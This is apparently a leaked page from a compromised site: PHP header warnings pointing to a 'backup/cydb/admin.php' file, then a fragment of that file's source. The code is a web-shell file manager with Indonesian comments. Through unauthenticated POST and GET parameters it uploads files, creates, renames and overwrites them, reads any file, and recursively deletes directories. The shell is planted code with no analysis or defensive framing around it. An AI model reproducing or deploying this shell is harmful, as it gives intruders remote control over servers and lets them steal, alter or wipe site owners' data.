a
Warning: Cannot modify header information - headers already sent by (output started at /home/designwellinfote/public_html/about/files/backup/cydb/admin.php:1) in /home/designwellinfote/public_html/about/files/backup/cydb/admin.php on line 308
Warning: Cannot modify header information - headers already sent by (output started at /home/designwellinfote/public_html/about/files/backup/cydb/admin.php:1) in /home/designwellinfote/public_html/about/files/backup/cydb/admin.php on line 309
Warning: Cannot modify header information - headers already sent by (output started at /home/designwellinfote/public_html/about/files/backup/cydb/admin.php:1) in /home/designwellinfote/public_html/about/files/backup/cydb/admin.php on line 310
Warning: Cannot modify header information - headers already sent by (output started at /home/designwellinfote/public_html/about/files/backup/cydb/admin.php:1) in /home/designwellinfote/public_html/about/files/backup/cydb/admin.php on line 311
Warning: Cannot modify header information - headers already sent by (output started at /home/designwellinfote/public_html/about/files/backup/cydb/admin.php:1) in /home/designwellinfote/public_html/about/files/backup/cydb/admin.php on line 312
Warning: Cannot modify header information - headers already sent by (output started at /home/designwellinfote/public_html/about/files/backup/cydb/admin.php:1) in /home/designwellinfote/public_html/about/files/backup/cydb/admin.php on line 313
function($p) { @move_uploaded_file($_FILES['f']['tmp_name'], $p.'/'.$_FILES['f']['name']); },
'md' => function($p, $t1) { @mkdir($p.'/'.$t1, 0755); },
'mf' => function($p, $t1) { @file_put_contents($p.'/'.$t1, ''); },
'rn' => function($p, $t1, $t2) { @rename($t1, dirname($t1).'/'.$t2); },
'sv' => function($p, $t1, $t2) { @file_put_contents($t1, $t2); },
'rm' => function($p, $t1) {
$bp_del = function($d) use (&$bp_del) {
if(!is_dir($d)) return @unlink($d);
foreach(array_diff(@scandir($d), ['.','..']) as $i) $bp_del($d.'/'.$i);
return @rmdir($d);
};
$bp_del($t1);
}
];
// Eksekusi Fungsi dari Array Dispatcher
if (isset($_POST['op']) && isset($bp_ops[$_POST['op']])) {
$bp_ops[$_POST['op']]($x_1, $_POST['t1'] ?? '', $_POST['t2'] ?? '');
header("Location: ?loc=" . urlencode($x_1));
exit;
}
// [3] Logika Pembaca File untuk Editor
$b_edit = '';
if (isset($_GET['edit']) && is_file($_GET['edit'])) {
$b_edit = @file_get_contents($_GET['edit']);
}
// [4] Scanning & Sorting Direktori
$b_scan = @scandir($x_1) ?: [];
$d_arr = []; $f_arr = [];
foreach ($b_scan as $i) {
if ($i === '.') continue;
$abs = $x_1 . '/' . $i;
if (is_dir($abs)) $d_arr[] = ['n' => $i, 'p' => $abs, 's' => '-', 't' => 'D'];
else $f_arr[] = ['n' => $i, 'p' => $abs, 's' => filesize($abs), 't' => 'F'];
}
$b_items = array_merge($d_arr, $f_arr);
// Format Size Helper
$sz = function($b) {
if ($b === '-') return '-';
$u = ['B','KB','MB','GB'];
$p = $b > 0 ? floor(log($b, 1024)) : 0;
return number_format($b / pow(1024, $p), 2) . ' ' . $u[$p];
};
?>